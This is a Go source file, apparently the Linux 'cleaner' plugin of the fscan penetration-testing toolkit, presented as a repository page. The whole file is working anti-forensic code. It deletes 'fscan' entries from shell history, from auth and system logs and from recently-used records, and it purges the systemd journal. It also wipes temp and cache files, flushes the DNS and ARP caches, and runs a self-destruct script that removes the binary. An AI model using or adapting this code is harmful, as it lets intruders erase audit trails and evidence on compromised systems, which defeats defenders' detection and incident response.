fscan/plugins/local/cleaner/cleaner_linux.go
ZacharyZcR 4a3f281b6b refactor: 统一Plugins目录大小写为小写
- 将所有Plugins路径重命名为plugins
- 修复Git索引与实际文件系统大小写不一致问题
- 确保跨平台兼容性和路径一致性
2025-08-12 13:08:06 +08:00

421 lines
11 KiB
Go
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

//go:build linux
package cleaner
import (
"fmt"
"os"
"os/exec"
"path/filepath"
"strings"
"time"
"github.com/shadow1ng/fscan/common"
)
// cleanSystemTraces 清理Linux系统痕迹
func (p *CleanerPlugin) cleanSystemTraces() map[string]interface{} {
report := make(map[string]interface{})
var cleaned []string
// 1. 清理Shell历史记录
if shellHistory := p.cleanShellHistory(); len(shellHistory) > 0 {
cleaned = append(cleaned, shellHistory...)
report["shell_history"] = shellHistory
}
// 2. 清理系统日志
if systemLogs := p.cleanLinuxSystemLogs(); len(systemLogs) > 0 {
cleaned = append(cleaned, systemLogs...)
report["system_logs"] = systemLogs
}
// 3. 清理临时文件
if tempFiles := p.cleanLinuxTempFiles(); len(tempFiles) > 0 {
cleaned = append(cleaned, tempFiles...)
report["temp_files"] = tempFiles
}
// 4. 清理用户缓存
if userCache := p.cleanUserCache(); len(userCache) > 0 {
cleaned = append(cleaned, userCache...)
report["user_cache"] = userCache
}
// 5. 清理最近访问记录
if recentFiles := p.cleanRecentFiles(); len(recentFiles) > 0 {
cleaned = append(cleaned, recentFiles...)
report["recent_files"] = recentFiles
}
p.cleanupStats["system_entries"] += len(cleaned)
report["total_cleaned"] = len(cleaned)
return report
}
// cleanShellHistory 清理Shell历史记录
func (p *CleanerPlugin) cleanShellHistory() []string {
var cleaned []string
homeDir := os.Getenv("HOME")
if homeDir == "" {
return cleaned
}
// 常见的Shell历史文件
historyFiles := []string{
".bash_history",
".zsh_history",
".fish_history",
".sh_history",
}
for _, histFile := range historyFiles {
histPath := filepath.Join(homeDir, histFile)
// 检查文件是否存在
if _, err := os.Stat(histPath); os.IsNotExist(err) {
continue
}
// 读取历史文件
content, err := os.ReadFile(histPath)
if err != nil {
common.LogDebug(fmt.Sprintf("无法读取历史文件 %s: %v", histPath, err))
continue
}
// 过滤掉包含fscan的行
lines := strings.Split(string(content), "\n")
var filteredLines []string
removedCount := 0
for _, line := range lines {
if strings.Contains(strings.ToLower(line), "fscan") {
removedCount++
continue
}
filteredLines = append(filteredLines, line)
}
if removedCount > 0 {
// 写回过滤后的内容
newContent := strings.Join(filteredLines, "\n")
if err := os.WriteFile(histPath, []byte(newContent), 0600); err != nil {
common.LogError(fmt.Sprintf("更新历史文件失败 %s: %v", histPath, err))
} else {
cleaned = append(cleaned, fmt.Sprintf("%s (%d entries)", histPath, removedCount))
common.LogSuccess(fmt.Sprintf("已清理 %s 中的 %d 条记录", histFile, removedCount))
}
}
}
// 清理当前会话的历史记录
if err := exec.Command("history", "-c").Run(); err != nil {
common.LogDebug(fmt.Sprintf("清理当前会话历史失败: %v", err))
} else {
cleaned = append(cleaned, "Current session history")
common.LogSuccess("已清理当前会话历史记录")
}
return cleaned
}
// cleanLinuxSystemLogs 清理Linux系统日志
func (p *CleanerPlugin) cleanLinuxSystemLogs() []string {
var cleaned []string
// 系统日志路径
logPaths := []string{
"/var/log/auth.log",
"/var/log/syslog",
"/var/log/messages",
"/var/log/secure",
"/var/log/user.log",
}
for _, logPath := range logPaths {
if _, err := os.Stat(logPath); os.IsNotExist(err) {
continue
}
// 尝试清理日志中的相关条目
if p.filterLogFile(logPath) {
cleaned = append(cleaned, logPath)
}
}
// 清理journal日志如果有权限
if err := exec.Command("journalctl", "--vacuum-time=1s").Run(); err != nil {
common.LogDebug(fmt.Sprintf("清理journal日志失败 (权限不足): %v", err))
} else {
cleaned = append(cleaned, "systemd journal")
common.LogSuccess("已清理systemd journal日志")
}
return cleaned
}
// filterLogFile 过滤日志文件
func (p *CleanerPlugin) filterLogFile(logPath string) bool {
// 检查读写权限
file, err := os.OpenFile(logPath, os.O_RDWR, 0)
if err != nil {
common.LogDebug(fmt.Sprintf("无法访问日志文件 %s (权限不足): %v", logPath, err))
return false
}
defer file.Close()
// 读取文件内容
content, err := os.ReadFile(logPath)
if err != nil {
return false
}
// 过滤包含fscan的行
lines := strings.Split(string(content), "\n")
var filteredLines []string
removedCount := 0
for _, line := range lines {
if strings.Contains(strings.ToLower(line), "fscan") {
removedCount++
continue
}
filteredLines = append(filteredLines, line)
}
if removedCount > 0 {
// 写回过滤后的内容
newContent := strings.Join(filteredLines, "\n")
if err := os.WriteFile(logPath, []byte(newContent), 0644); err != nil {
common.LogError(fmt.Sprintf("更新日志文件失败 %s: %v", logPath, err))
return false
}
common.LogSuccess(fmt.Sprintf("已从 %s 清理 %d 条记录", filepath.Base(logPath), removedCount))
return true
}
return false
}
// cleanLinuxTempFiles 清理Linux临时文件
func (p *CleanerPlugin) cleanLinuxTempFiles() []string {
var cleaned []string
// 临时目录
tempDirs := []string{
"/tmp",
"/var/tmp",
"/dev/shm",
}
// 用户临时目录
if homeDir := os.Getenv("HOME"); homeDir != "" {
tempDirs = append(tempDirs, filepath.Join(homeDir, ".tmp"))
}
for _, tempDir := range tempDirs {
entries, err := os.ReadDir(tempDir)
if err != nil {
continue
}
for _, entry := range entries {
if entry.IsDir() {
continue
}
filename := strings.ToLower(entry.Name())
if strings.Contains(filename, "fscan") || strings.HasPrefix(filename, "tmp") {
tempFile := filepath.Join(tempDir, entry.Name())
// 检查文件是否太新(可能正在使用)
if info, err := entry.Info(); err == nil {
if time.Since(info.ModTime()) < 5*time.Minute {
continue
}
}
if err := os.Remove(tempFile); err != nil {
common.LogDebug(fmt.Sprintf("删除临时文件失败: %v", err))
} else {
cleaned = append(cleaned, tempFile)
common.LogSuccess(fmt.Sprintf("已删除临时文件: %s", entry.Name()))
}
}
}
}
return cleaned
}
// cleanUserCache 清理用户缓存
func (p *CleanerPlugin) cleanUserCache() []string {
var cleaned []string
homeDir := os.Getenv("HOME")
if homeDir == "" {
return cleaned
}
// 缓存目录
cacheDirs := []string{
filepath.Join(homeDir, ".cache"),
filepath.Join(homeDir, ".local", "share"),
}
for _, cacheDir := range cacheDirs {
entries, err := os.ReadDir(cacheDir)
if err != nil {
continue
}
for _, entry := range entries {
entryPath := filepath.Join(cacheDir, entry.Name())
entryName := strings.ToLower(entry.Name())
if strings.Contains(entryName, "fscan") || strings.Contains(entryName, "scan") {
if entry.IsDir() {
if err := os.RemoveAll(entryPath); err != nil {
common.LogDebug(fmt.Sprintf("删除缓存目录失败: %v", err))
} else {
cleaned = append(cleaned, entryPath)
p.cleanupStats["directories"]++
}
} else {
if err := os.Remove(entryPath); err != nil {
common.LogDebug(fmt.Sprintf("删除缓存文件失败: %v", err))
} else {
cleaned = append(cleaned, entryPath)
}
}
}
}
}
return cleaned
}
// cleanRecentFiles 清理最近访问文件记录
func (p *CleanerPlugin) cleanRecentFiles() []string {
var cleaned []string
homeDir := os.Getenv("HOME")
if homeDir == "" {
return cleaned
}
// 最近文件记录路径
recentPaths := []string{
filepath.Join(homeDir, ".local", "share", "recently-used.xbel"),
filepath.Join(homeDir, ".recently-used"),
filepath.Join(homeDir, ".gtk-bookmarks"),
}
for _, recentPath := range recentPaths {
if _, err := os.Stat(recentPath); os.IsNotExist(err) {
continue
}
// 读取并过滤文件内容
content, err := os.ReadFile(recentPath)
if err != nil {
continue
}
lines := strings.Split(string(content), "\n")
var filteredLines []string
removedCount := 0
for _, line := range lines {
if strings.Contains(strings.ToLower(line), "fscan") {
removedCount++
continue
}
filteredLines = append(filteredLines, line)
}
if removedCount > 0 {
newContent := strings.Join(filteredLines, "\n")
if err := os.WriteFile(recentPath, []byte(newContent), 0644); err != nil {
common.LogError(fmt.Sprintf("更新最近文件记录失败: %v", err))
} else {
cleaned = append(cleaned, fmt.Sprintf("%s (%d entries)", recentPath, removedCount))
common.LogSuccess(fmt.Sprintf("已清理 %s 中的 %d 条记录", filepath.Base(recentPath), removedCount))
}
}
}
return cleaned
}
// cleanNetworkTraces 清理网络痕迹
func (p *CleanerPlugin) cleanNetworkTraces() map[string]interface{} {
report := make(map[string]interface{})
var cleaned []string
// 清理DNS缓存 (systemd-resolved)
if err := exec.Command("systemctl", "flush-dns").Run(); err != nil {
// 尝试其他DNS清理方法
if err2 := exec.Command("systemd-resolve", "--flush-caches").Run(); err2 != nil {
common.LogDebug(fmt.Sprintf("清理DNS缓存失败: %v, %v", err, err2))
} else {
cleaned = append(cleaned, "DNS Cache (systemd-resolve)")
}
} else {
cleaned = append(cleaned, "DNS Cache (systemctl)")
}
// 清理ARP缓存
if err := exec.Command("ip", "neigh", "flush", "all").Run(); err != nil {
common.LogDebug(fmt.Sprintf("清理ARP缓存失败: %v", err))
} else {
cleaned = append(cleaned, "ARP Cache")
common.LogSuccess("已清理ARP缓存")
}
report["network_caches"] = cleaned
report["total_cleaned"] = len(cleaned)
return report
}
// createUnixSelfDestruct 创建Unix自毁脚本
func (p *CleanerPlugin) createUnixSelfDestruct() map[string]interface{} {
report := make(map[string]interface{})
// 创建shell自毁脚本
shellScript := fmt.Sprintf(`#!/bin/bash
sleep 2
rm -f "%s" 2>/dev/null
rm -f "$0" 2>/dev/null
exit 0`, p.currentExecutable)
scriptPath := filepath.Join(p.workingDirectory, "cleanup.sh")
if err := os.WriteFile(scriptPath, []byte(shellScript), 0755); err != nil {
common.LogError(fmt.Sprintf("创建自毁脚本失败: %v", err))
report["status"] = "failed"
report["error"] = err.Error()
} else {
// 异步执行自毁脚本
go func() {
time.Sleep(1 * time.Second)
cmd := exec.Command("/bin/sh", scriptPath)
cmd.Start()
}()
report["status"] = "scheduled"
report["script_path"] = scriptPath
common.LogInfo("已创建自毁脚本,将在退出后执行")
}
return report
}
// prepareSelfDestruction 准备自毁
func (p *CleanerPlugin) prepareSelfDestruction() map[string]interface{} {
return p.createUnixSelfDestruct()
}